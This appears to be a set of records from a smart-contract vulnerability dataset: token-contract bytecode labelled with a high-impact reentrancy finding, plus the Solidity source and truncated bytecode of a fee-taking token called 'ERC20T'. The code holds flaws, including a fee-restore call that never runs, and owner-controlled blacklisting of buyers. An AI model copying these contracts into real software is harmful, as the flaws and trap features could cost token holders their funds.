d5b506101fc61035d366004611a03565b610706565b34801561036e57600080fd5b506101fc61037d366004611c33565b610751565b34801561038e57600080fd5b506101fc610799565b3480156103a357600080fd5b506102c26103b2366004611a03565b6107e4565b3480156103c357600080fd5b506101fc610806565b3480156103d857600080fd5b506101fc6103e7366004611c4e565b61087a565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610292565b34801561042c57600080fd5b506101fc61043b366004611c33565b6108a9565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b506040805180820190915260078152664554484943484960c81b602082015261022c565b34801561049257600080fd5b506101fc6104a1366004611c4e565b6108f5565b3480156104b257600080fd5b506101fc6104c1366004611c67565b610924565b3480156104d257600080fd5b506102626104e1366004611ab7565b610962565b3480156104f257600080fd5b50610262610501366004611a03565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61096f565b34801561053757600080fd5b506101fc610546366004611ae3565b6109c3565b34801561055757600080fd5b506102c260085481565b34801561056d57600080fd5b506102c261057c366004611a3d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c4e565b610a64565b3480156105d357600080fd5b506101fc6105e2366004611a03565b610a93565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611cee565b60405180910390fd5b60005b81518110156106825760016011600084848151811061063e5761063e611e35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e04565b91505061061d565b5050565b6000610693338484610b7d565b5060015b92915050565b60006106aa848484610ca1565b6106fc84336106f785604051806060016040528060288152602001611e77602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125f565b610b7d565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611cee565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611cee565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ce57506014546001600160a01b0316336001600160a01b0316145b6107d757600080fd5b476107e181611299565b50565b6001600160a01b0381166000908152600260205260408120546106979061131e565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161061190611cee565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a45760405162461bcd60e51b815260040161061190611cee565b601755565b6000546001600160a01b031633146108d35760405162461bcd60e51b815260040161061190611cee565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161061190611cee565b601955565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161061190611cee565b600993909355600b91909155600a55600c55565b6000610693338484610ca1565b6013546001600160a01b0316336001600160a01b031614806109a457506014546001600160a01b0316336001600160a01b0316145b6109ad57600080fd5b60006109b8306107e4565b90506107e1816113a2565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161061190611cee565b60005b82811015610a5e578160056000868685818110610a0f57610a0f611e35565b9050602002016020810190610a249190611a03565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611e04565b9150506109f0565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161061190611cee565b601855565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161061190611cee565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b1561115857601654600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2257506001600160a01b03821660009081526011602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b600854610f88906001611d94565b4311158015610fa457506016546001600160a01b038481169116145b8015610fbe57506015546001600160a01b03838116911614155b8015610fd357506001600160a01b0382163014155b15610ffc576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611081576018548161101e846107e4565b6110289190611d94565b106110815760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061108c306107e4565b6019546017549192508210159082106110a55760175491505b8080156110bc5750601654600160a81b900460ff16155b80156110d657506016546001600160a01b03868116911614155b80156110eb5750601654600160b01b900460ff165b801561111057506001600160a01b03851660009081526005602052604090205460ff16155b801561113557506001600160a01b03841660009081526005602052604090205460ff16155b1561115557611143826113a2565b4780156111535761115347611299565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119a57506001600160a01b03831660009081526005602052604090205460ff165b806111cc57506016546001600160a01b038581169116148015906111cc57506016546001600160a01b03848116911614155b156111d957506000611253565b6016546001600160a01b03858116911614801561120457506015546001600160a01b03848116911614155b1561121657600954600d55600a54600e555b6016546001600160a01b03848116911614801561124157506015546001600160a01b03858116911614155b1561125357600b54600d55600c54600e555b610a5e8484848461152b565b600081848411156112835760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611ded565b95945050505050565b6013546001600160a01b03166108fc6112b3836002611559565b6040518115909202916000818181858888f193505050501580156112db573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f6836002611559565b6040518115909202916000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156113855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b600061138f61159b565b905061139b8382611559565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ea576113ea611e35565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143e57600080fd5b505afa158015611452573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114769190611a20565b8160018151811061148957611489611e35565b6001600160a01b0392831660209182029290920101526015546114af9130911684610b7d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e8908590600090869030904290600401611d23565b600060405180830381600087803b15801561150257600080fd5b505af1158015611516573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611538576115386115be565b6115438484846115ec565b80610a5e57610a5e600f54600d55601054600e55565b600061139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b60008060006115a8611711565b90925090506115b78282611559565b9250505090565b600d541580156115ce5750600e54155b156115d557565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fe87611753565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163090876117b0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165f90866117f2565b6001600160a01b03891660009081526002602052604090205561168181611851565b61168b848361189b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d091815260200190565b60405180910390a3505050505050505050565b600081836117045760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611dac565b6006546000908190683635c9adc5dea0000061172d8282611559565b82101561174a57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117708a600d54600e546118bf565b925092509250600061178061159b565b905060008060006117938e878787611914565b919e509c509a509598509396509194505050505091939550919395565b600061139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125f565b6000806117ff8385611d94565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b600061185b61159b565b905060006118698383611964565b3060009081526002602052604090205490915061188690826117f2565b30600090815260026020526040902055505050565b6006546118a890836117b0565b6006556007546118b890826117f2565b6007555050565b60008080806118d960646118d38989611964565b90611559565b905060006118ec60646118d38a89611964565b90506000611904826118fe8b866117b0565b906117b0565b9992985090965090945050505050565b60008080806119238886611964565b905060006119318887611964565b9050600061193f8888611964565b90506000611951826118fe86866117b0565b939b939a50919850919650505050505050565b60008261197357506000610697565b600061197f8385611dce565b90508261198c8583611dac565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b80356119ee81611e61565b919050565b803580151581146119ee57600080fd5b600060208284031215611a1557600080fd5b813561139b81611e61565b600060208284031215611a3257600080fd5b815161139b81611e61565b60008060408385031215611a5057600080fd5b8235611a5b81611e61565b91506020830135611a6b81611e61565b809150509250929050565b600080600060608486031215611a8b57600080fd5b8335611a9681611e61565b92506020840135611aa681611e61565b929592945050506040919091013590565b60008060408385031215611aca57600080fd5b8235611ad581611e61565b946020939093013593505050565b600080600060408486031215611af857600080fd5b833567ffffffffffffffff80821115611b1057600080fd5b818601915086601f830112611b2457600080fd5b813581811115611b3357600080fd5b8760208260051b8501011115611b4857600080fd5b602092830195509350611b5e91860190506119f3565b90509250925092565b60006020808385031215611b7a57600080fd5b823567ffffffffffffffff80821115611b9257600080fd5b818501915085601f830112611ba657600080fd5b813581811115611bb857611bb8611e4b565b8060051b604051601f19603f83011681018181108582111715611bdd57611bdd611e4b565b604052828152858101935084860182860187018a1015611bfc57600080fd5b600095505b83861015611c2657611c12816119e3565b855260019590950194938601938601611c01565b5098975050505050505050565b600060208284031215611c4557600080fd5b61139b826119f3565b600060208284031215611c6057600080fd5b5035919050565b60008060008060808587031215611c7d57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc657858101830151858201604001528201611caa565b81811115611cd8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d735784516001600160a01b031683529383019391830191600101611d4e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da757611da7611e1f565b500190565b600082611dc957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de857611de8611e1f565b500290565b600082821015611dff57611dff611e1f565b500390565b6000600019821415611e1857611e18611e1f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6a02a0bff9b21a62d89acfe72401a309be9c23d78b0eb6de194af92de7d78cd64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,401 |
0x30a7f426024c1c082328e3303c4d744fb5caeb4d
|
/**
*Submitted for verification at Etherscan.io on 2021-07-17
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ERC20T is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ERC20T";
string private constant _symbol = "ERC20T";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 7000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private cooldown;
address payable private _buyBackBurn;
address payable private _marketing;
address payable private _development;
address payable private _dev2;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 3;
uint256 private _fee = 12;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4) {
_buyBackBurn = addr1;
_dev2 = addr2;
_marketing = addr3;
_development = addr4;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketing] = true;
_isExcludedFromFee[_development] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function enableTrading() external onlyOwner {
require(liquidityAdded);
tradeAllowed = true;
}
function setExcludedFrom(address _address, bool _bool) external onlyOwner{
_isExcludedFromFee[_address] = _bool;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxAmount = 140000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradeAllowed);
require(cooldown[to] < block.timestamp);
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.div(20));
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 seconds);
_fee = 12;
_reflection = 3;
}
uint256 contractTokenBalance = balanceOf(address(this));
uint impactLimitFive = balanceOf(uniswapV2Pair).div(20);
if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(amount <= impactLimitFive);
require(cooldown[from] < block.timestamp);
uint initialBalance = address(this).balance;
if(contractTokenBalance > impactLimitFive){
contractTokenBalance = impactLimitFive;
}
swapTokensForEth(contractTokenBalance);
uint newBalance = address(this).balance;
uint distributeETHBalance = newBalance.sub(initialBalance);
if (distributeETHBalance > 0) {
sendETHToFee(distributeETHBalance);
}
_fee = 17;
_reflection = 3;
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _fee == 0 ) return;
_reflection = 0;
_fee = 0;
}
function restoreAllFee() private {
_reflection = 3;
_fee = 12;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(amount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _fee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketing.transfer(amount.div(20).mul(4));
_development.transfer((amount.div(20).mul(4)).sub(2));
_buyBackBurn.transfer(amount.div(20).mul(10));
_dev2.transfer(amount.div(20).mul(2));
}
receive() external payable {}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461039a578063c3c8cd80146103d3578063d543dbeb146103e8578063dd62ed3e14610412578063e8078d941461044d5761011f565b806370a08231146103285780637a32bae41461035b5780638a8c523c146103705780638da5cb5b1461038557806395d89b41146101245761011f565b8063313ce567116100e7578063313ce567146102655780633898e4a31461029057806349bd5a5e146102cd5780636ddd1713146102fe5780636fc3eaec146103135761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610462565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b038135169060200135610482565b604080519115158252519081900360200190f35b34801561020757600080fd5b506102106104a0565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b038135811691602081013590911690604001356104a6565b34801561027157600080fd5b5061027a61052d565b6040805160ff9092168252519081900360200190f35b34801561029c57600080fd5b506102cb600480360360408110156102b357600080fd5b506001600160a01b0381351690602001351515610532565b005b3480156102d957600080fd5b506102e26105b5565b604080516001600160a01b039092168252519081900360200190f35b34801561030a57600080fd5b506101e76105c4565b34801561031f57600080fd5b506102cb6105d4565b34801561033457600080fd5b506102106004803603602081101561034b57600080fd5b50356001600160a01b0316610639565b34801561036757600080fd5b506101e761065b565b34801561037c57600080fd5b506102cb61066b565b34801561039157600080fd5b506102e26106ee565b3480156103a657600080fd5b506101e7600480360360408110156103bd57600080fd5b506001600160a01b0381351690602001356106fd565b3480156103df57600080fd5b506102cb610711565b3480156103f457600080fd5b506102cb6004803603602081101561040b57600080fd5b503561077f565b34801561041e57600080fd5b506102106004803603604081101561043557600080fd5b506001600160a01b0381358116916020013516610886565b34801561045957600080fd5b506102cb6108b1565b604080518082019091526006815265115490cc8c1560d21b602082015290565b600061049661048f610c32565b8484610c36565b5060015b92915050565b60035490565b60006104b3848484610d22565b610523846104bf610c32565b61051e856040518060600160405280602881526020016119e6602891396001600160a01b038a166000908152600660205260408120906104fd610c32565b6001600160a01b0316815260208101919091526040016000205491906110b9565b610c36565b5060019392505050565b600990565b61053a610c32565b6000546001600160a01b0390811691161461058a576040805162461bcd60e51b81526020600482018190526024820152600080516020611a0e833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b600e546001600160a01b031681565b600e54600160b81b900460ff1681565b6105dc610c32565b6000546001600160a01b0390811691161461062c576040805162461bcd60e51b81526020600482018190526024820152600080516020611a0e833981519152604482015290519081900360640190fd5b4761063681611150565b50565b6001600160a01b03811660009081526001602052604081205461049a90611284565b600e54600160a01b900460ff1681565b610673610c32565b6000546001600160a01b039081169116146106c3576040805162461bcd60e51b81526020600482018190526024820152600080516020611a0e833981519152604482015290519081900360640190fd5b600e54600160a81b900460ff166106d957600080fd5b600e805460ff60a01b1916600160a01b179055565b6000546001600160a01b031690565b600061049661070a610c32565b8484610d22565b610719610c32565b6000546001600160a01b03908116911614610769576040805162461bcd60e51b81526020600482018190526024820152600080516020611a0e833981519152604482015290519081900360640190fd5b600061077430610639565b9050610636816112e4565b610787610c32565b6000546001600160a01b039081169116146107d7576040805162461bcd60e51b81526020600482018190526024820152600080516020611a0e833981519152604482015290519081900360640190fd5b6000811161082c576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b61084c6064610846836003546114b390919063ffffffff16565b9061150c565b600f81905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6108b9610c32565b6000546001600160a01b03908116911614610909576040805162461bcd60e51b81526020600482018190526024820152600080516020611a0e833981519152604482015290519081900360640190fd5b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811791829055600354909161094d9130916001600160a01b031690610c36565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098657600080fd5b505afa15801561099a573d6000803e3d6000fd5b505050506040513d60208110156109b057600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610a0057600080fd5b505afa158015610a14573d6000803e3d6000fd5b505050506040513d6020811015610a2a57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d6020811015610aa657600080fd5b5051600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610ad881610639565b600080610ae36106ee565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610b4e57600080fd5b505af1158015610b62573d6000803e3d6000fd5b50505050506040513d6060811015610b7957600080fd5b5050600e805460ff60a81b1960ff60b81b19909116600160b81b1716600160a81b1790819055680796e3ea3f8ab00000600f55600d546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610c0357600080fd5b505af1158015610c17573d6000803e3d6000fd5b505050506040513d6020811015610c2d57600080fd5b505050565b3390565b6001600160a01b038316610c7b5760405162461bcd60e51b8152600401808060200182810382526024815260200180611a7c6024913960400191505060405180910390fd5b6001600160a01b038216610cc05760405162461bcd60e51b81526004018080602001828103825260228152602001806119a36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d675760405162461bcd60e51b8152600401808060200182810382526025815260200180611a576025913960400191505060405180910390fd5b6001600160a01b038216610dac5760405162461bcd60e51b81526004018080602001828103825260238152602001806119566023913960400191505060405180910390fd5b60008111610deb5760405162461bcd60e51b8152600401808060200182810382526029815260200180611a2e6029913960400191505060405180910390fd5b6001600160a01b03821660009081526007602052604090205460ff16158015610e2d57506001600160a01b03831660009081526007602052604090205460ff16155b1561105c57600e546001600160a01b038481169116148015610e5d5750600d546001600160a01b03838116911614155b8015610e8257506001600160a01b03821660009081526007602052604090205460ff16155b15610f2b57600e54600160a01b900460ff16610e9d57600080fd5b6001600160a01b0382166000908152600860205260409020544211610ec157600080fd5b6000610ecc83610639565b600354909150610edd90601461150c565b610ee7838361154e565b1115610ef257600080fd5b600f54821115610f0157600080fd